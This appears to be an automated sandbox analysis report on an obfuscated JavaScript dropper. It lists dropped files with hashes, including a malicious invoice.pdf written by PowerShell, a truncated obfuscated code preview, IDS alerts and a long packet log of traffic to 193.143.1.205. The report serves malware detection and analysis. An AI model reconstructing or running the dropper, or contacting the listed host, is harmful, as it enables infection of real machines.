C:\Users\user\AppData\Local\Temp\acrocef_low\b77e7520-9a56-433c-9973-eb68952d0e4e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c3b248e9-a58e-4600-a278-66eccf3c8c5e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/x0WL07oDGZswYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:J0WLxDGZswZGM3mlind9i4ufFXpAXkru
MD5:	1A39CAAE4C5F8AD2A98F0756FFCBA562
SHA1:	279F2B503A0B10E257674D31532B01EA7DE0473F
SHA-256:	57D198C7BDB9B002B8C9C1E1CCFABFE81C00FE0A1E30A237196A7C133237AA95
SHA-512:	73D083E92FB59C92049AF8DC31A0AA2F38755453FFB161D18A1C4244747EE88B7A850F7951FC10F842AE65F6CC8F6164231DB6261777EC5379B337CB379BEF99
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15793), with CRLF line terminators
Entropy (8bit):	4.915180771151921
TrID:
File name:	1584816627285206777.js
File size:	19'200 bytes
MD5:	1574093e263452d9a30b6496739b8d1a
SHA1:	b7c07cd044e402fb6ab70c744a6ebd13792223d5
SHA256:	5eac98ab9d7669d61630d261175baf5a2d1a97908f4d1a3ba3085934f245a8f1
SHA512:	1f0a179bf4727817d5c5e1c980a08926cb37f59940d968ed8f2c2ff27feef01283f7083a7831d70f38a41ca0af3a94416c2e6b19c762df7fbb51d70c7feab824
SSDEEP:	384:noCE1c5eOV2NtFXDU5te88MJ/yhvyRLgO0u:41c6XDCIKcO0u
TLSH:	CB8244CDC907A818CFD8985197C20CC331B891EA4AF8A68D44537C66FB44A7579F28FE
File Content Preview:	function gfchpli(){cykkx=[1031,3079,5127,4103,2055,3072];var hfwhtrt=this[dzmmogc+ovgofxh+sganki+ffvakvywd+cmlly+iyqwrik+wijro+iwtaqw](this[npsvkftn+tpziimxio+ufoowv+sganki+akknicu+dzmmogc+iwtaqw][jhhli+sganki+cmlly+ovgofxh+iwtaqw+cmlly+jitsacgrs+zicnni+h

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:06:47.208326+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T20:06:49.993742+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:06:46.398771048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:46.403606892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:46.403712034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:46.406635046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:46.411427021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.208257914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.208281040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.208293915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.208309889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.208321095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.208326101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.208334923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.208348989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.208376884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.208400011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.208410978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.208417892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.208425999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.208435059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.208466053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.213206053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.213228941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.213260889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.254448891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.254458904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.254520893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.329606056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.329654932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.329668045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.329679012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.329691887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.329693079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.329735994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.329997063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.330039024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.330060959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.330267906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.330308914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.330319881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.330338001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.330373049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.330804110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.330821991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.330832958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.330842972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.330856085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.330857038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.330887079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.331681013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.331691980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.331705093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.331716061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.331722975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.331727028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.331748009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.331788063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.332489967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.384378910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.389784098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.389796972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.389817953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.389827967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.389846087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.389868021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.421763897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.421777964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.421832085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.450735092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.450747967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.450757027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.450783014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.450793028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.450803995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.450808048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.450856924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.451144934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451154947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451167107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451178074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451229095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.451421976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451456070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451491117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.451637983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451668978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451689005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451699972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.451700926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451714993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451729059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451735020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.451741934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.451780081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.452430010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.452470064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.452475071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.452481985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.452492952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.452514887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.452970982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.452986956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.452996969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.453007936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.453017950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.453022957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.453030109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.453039885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.453047037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.453047037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.453053951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.453071117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.454060078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.454071045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.454082966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.454092979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.454103947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.454108000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.454114914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.454125881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.454130888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.454138994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.454147100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.454186916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.454859018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.454876900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.454886913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.454896927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.454912901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.483350992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.483364105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.483381987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.483392954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.483413935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.483422995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.483480930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.483484030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.483530045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.537199974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.537215948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.537226915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.537239075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.537280083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.537372112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.558326006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.558339119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.558470011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.574594975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574626923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574639082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574650049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574677944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574711084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574764967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.574765921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.574774027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574765921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.574798107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574810028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574875116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.574940920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574960947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574971914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.574981928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.575014114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.575464010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575475931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575485945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575531960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.575546980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575558901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575568914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575596094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.575628042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.575697899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575742006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575782061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.575817108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575865984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575877905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575889111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.575906038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.575948000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.576144934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576157093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576179981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576189995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576205015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576209068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.576217890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576229095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.576260090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.576530933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576543093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576554060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576575041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.576668024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576678038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576688051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576699972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576708078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.576710939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576721907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576735020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576733112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.576746941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576762915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.576778889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576786995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.576805115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.576826096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.577470064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.577518940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.577569008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.577586889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.577601910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.577614069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.577622890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.577625990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.577637911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.577650070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.577657938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.577685118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.579794884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.579807043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.579817057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.579838991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.579857111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.579868078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.579879045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.579879045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.579906940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.585784912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.585819960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.585829973 CET	80	49704	193.143.1.205	192.168.2.5
